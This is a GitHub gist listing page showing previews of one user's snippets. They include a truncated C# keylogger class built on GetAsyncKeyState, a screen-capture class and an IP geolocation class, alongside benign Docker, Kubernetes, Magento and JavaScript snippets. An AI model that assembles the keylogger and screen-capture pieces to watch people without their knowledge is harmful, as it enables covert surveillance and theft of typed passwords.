Skip to content

Instantly share code, notes, and snippets.

View progress44's full-sized avatar
Drinking coffee

Ani Sinanaj progress44

Drinking coffee
View GitHub Profile
@progress44
progress44 / keylogger.cs
Created October 7, 2018 20:07
C# Keylogger class
public class Keylogger
{
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey); // Keys enumeration
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);
private System.String keyBuffer;
private System.Timers.Timer timerKeyMine;
@progress44
progress44 / screencapture.cs
Created October 7, 2018 20:25
Taking screenshots on windows.
public class ScreenCapture
{
public Image CaptureScreen()
{
return CaptureWindow(User32.GetDesktopWindow());
}
public Image CaptureWindow(IntPtr handle)
{
var screens = Screen.AllScreens;
@progress44
progress44 / geolocation.cs
Created October 7, 2018 20:38
Geolocation class in C#
class GeoLocation
{
#region Properties
string latitude;
string lognitude;
string city;
string country;
string host;
string ip;
string code;

JavaScript, the weird parts

link to notes https://git.io/vgpKc

about Sher Minn

  • front-end web engineer
  • funemployed, but joining Viki.com in a week
  • recently spent 3 months in NYC at the Recurse Center
    • retreat for programmers
  • where people go to be better at what they do
@progress44
progress44 / delete_orphaned_veth_docker.sh
Created April 13, 2019 09:55 — forked from daanemanz/delete_orphaned_veth_docker.sh
Delete orphaned veth* interfaces on Docker bridge
#!/bin/bash
veth_in_use=()
veth_unused=()
veth_all=()
function veth_interface_for_container() {
local pid=$(docker inspect -f '{{.State.Pid}}' "${1}")
mkdir -p /var/run/netns
ln -sf /proc/$pid/ns/net "/var/run/netns/${1}"
@progress44
progress44 / Ingress-controller-tls.md
Created May 6, 2019 23:21
Guide from jetstack to configure ingress-controller and letsencrypt

================================================= Quick-Start using Cert-Manager with NGINX Ingress

Step 0 - Install Helm Client

Skip this section if you have helm installed.

The easiest way to install cert-manager is to use Helm_, a templating and

@progress44
progress44 / createCat.php
Created May 24, 2019 22:32 — forked from harshvardhanmalpani/createCat.php
How to create Magento 2 category programmatically
<?php
//creating categories in magento 2
//last verified Magento 2.2.0 27 Oct 2017
use \Magento\Framework\App\Bootstrap;
echo 'code by harshvardhanmalpani';
include('./app/bootstrap.php');
$bootstrap = Bootstrap::create(BP, $_SERVER);
$objectManager = $bootstrap->getObjectManager();
function createCategory($a='',$b=2,$c=true,$d='',$e='',$f='',$g='') {
global $objectManager;
@progress44
progress44 / daemon.json
Created August 4, 2019 22:55
Cleaning docker logs if it's not configured correctly
{
"log-driver": "json-file",
"log-opts": {
"max-size": "10m",
"max-file": "3",
"labels": "production_status",
"env": "os,customer"
}
}
@progress44
progress44 / index.js
Created August 6, 2019 12:33 — forked from vinzdef/index.js
Fork Process in Cluster
const server = require('./server.js')
const numCPUs = require('os').cpus().length
const cluster = require('cluster')
function makeCluster() {
return new Promise((resolve, reject) => {
if (cluster.isMaster) {
for (let i = 0; i < numCPUs; i++) {
cluster.fork()
}
@progress44
progress44 / loop.sh
Created August 8, 2019 13:02
Clean docker logs if docker is misconfigured
#!/bin/bash
DIR=/var/lib/docker/containers
FILES=$(ls $DIR)
for f in $FILES
do
echo "Processing $f dir..."
# take action on each file. $f store current file name
ls -lash $DIR/$f | grep .log
LOGS=$(ls $DIR/$f/ | grep .log)